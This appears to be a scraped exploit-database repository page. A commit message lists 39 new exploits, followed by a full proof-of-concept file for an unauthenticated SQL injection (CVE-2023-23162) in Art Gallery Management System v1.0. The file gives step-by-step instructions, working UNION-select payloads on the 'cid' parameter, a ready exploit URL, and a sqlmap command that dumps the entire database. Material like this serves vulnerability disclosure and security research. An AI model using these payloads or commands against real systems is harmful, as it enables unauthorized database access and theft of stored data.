d4e68dbb7e
39 changes to exploits/shellcodes/ghdb ProLink PRS1841 PLDT Home fiber - Default Password Nacos 2.0.3 - Access Control vulnerability sudo 1.8.0 to 1.9.12p1 - Privilege Escalation sleuthkit 4.11.1 - Command Injection Active eCommerce CMS 6.5.0 - Stored Cross-Site Scripting (XSS) ManageEngin AMP 4.3.0 - File-path-traversal SQL Monitor 12.1.31.893 - Cross-Site Scripting (XSS) AmazCart CMS 3.4 - Cross-Site-Scripting (XSS) Art Gallery Management System Project v1.0 - Reflected Cross-Site Scripting (XSS) Art Gallery Management System Project v1.0 - SQL Injection (sqli) authenticated Art Gallery Management System Project v1.0 - SQL Injection (sqli) Unauthenticated ChiKoi v1.0 - SQL Injection ERPGo SaaS 3.9 - CSV Injection GLPI Cartography Plugin v6.0.0 - Unauthenticated Remote Code Execution (RCE) GLPI 4.0.2 - Unauthenticated Local File Inclusion on Manageentities plugin GLPI Activity v3.1.0 - Authenticated Local File Inclusion on Activity plugin GLPI Glpiinventory v1.0.1 - Unauthenticated Local File Inclusion GLPI v10.0.1 - Unauthenticated Sensitive Data Exposure GLPI v10.0.2 - SQL Injection (Authentication Depends on Configuration) Metform Elementor Contact Form Builder v3.1.2 - Unauthenticated Stored Cross-Site Scripting (XSS) MyBB 1.8.32 - Remote Code Execution (RCE) (Authenticated) Paid Memberships Pro v2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection pimCore v5.4.18-skeleton - Sensitive Cookie with Improper SameSite Attribute Prizm Content Connect v10.5.1030.8315 - XXE SLIMSV 9.5.2 - Cross-Site Scripting (XSS) WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE Zstore 6.5.4 - Reflected Cross-Site Scripting (XSS) Roxy WI v6.1.0.0 - Improper Authentication Control Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE) Roxy WI v6.1.1.0 - Unauthenticated Remote Code Execution (RCE) via ssl_cert Upload Solaris 10 libXm - Buffer overflow Local privilege escalation Chromacam 4.0.3.0 - PsyFrameGrabberService Unquoted Service Path Grand Theft Auto III/Vice City Skin File v1.1 - Buffer Overflow HotKey Clipboard 2.1.0.6 - Privilege Escalation Unquoted Service Path Microsoft Exchange Active Directory Topology 15.02.1118.007 - 'Service MSExchangeADTopology' Unquoted Service Path Windows 11 10.0.22000 - Backup service Privilege Escalation Windows/x86 - Create Administrator User / Dynamic PEB & EDT method null-free Shellcode (373 bytes)
28 lines
No EOL
1.6 KiB
Text
28 lines
No EOL
1.6 KiB
Text
# Exploit Title: Art Gallery Management System Project v1.0 - SQL Injection (sqli) Unauthenticated
|
|
# Date: 20/01/2023
|
|
# Exploit Author: Rahul Patwari
|
|
# Vendor Homepage: https://phpgurukul.com/
|
|
# Software Link: https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip
|
|
# Version: 1.0
|
|
# Tested on: XAMPP / Windows 10
|
|
# CVE : CVE-2023-23162
|
|
|
|
# Proof of Concept:
|
|
|
|
# 1- Install The application Art Gallery Management System Project v1.0
|
|
# 2- Navigate to the product page by clicking on the "ART TYPE" by selecting any of the categories on the menu.
|
|
# 3- Now insert a single quote ( ' ) on "cid" parameter to break the database query, you will see the output is not shown.
|
|
# 4- Now inject the payload double single quote ('') in the "cid" parameter to merge the database query and after sending this request the SQL query is successfully performed and the product is shown in the output.
|
|
# 5- Now find how many columns are returned by the SQL query. this query will return 6 columns.
|
|
Payload:cid=1%27order%20by%206%20--%20-&artname=Sculptures
|
|
|
|
# 6- for manually getting data from the database insert the below payload to see the user of the database.
|
|
payload: cid=-2%27union%20select%201,2,3,user(),5,6--%20-&artname=Serigraphs
|
|
|
|
# 7- for automation using "SQLMAP" intercept the request and copy this request to a file called "request.txt".
|
|
# 8- now to get all database data use the below "sqlmap" command to fetch all the data.
|
|
Command: sqlmap -r request.txt -p cid --dump-all --batch
|
|
|
|
# Go to this url "
|
|
https://localhost.com/Art-Gallery-MS-PHP/product.php?cid=-2%27union%20select%201,2,3,user(),5,6--%20-&artname=Serigraphs
|
|
" |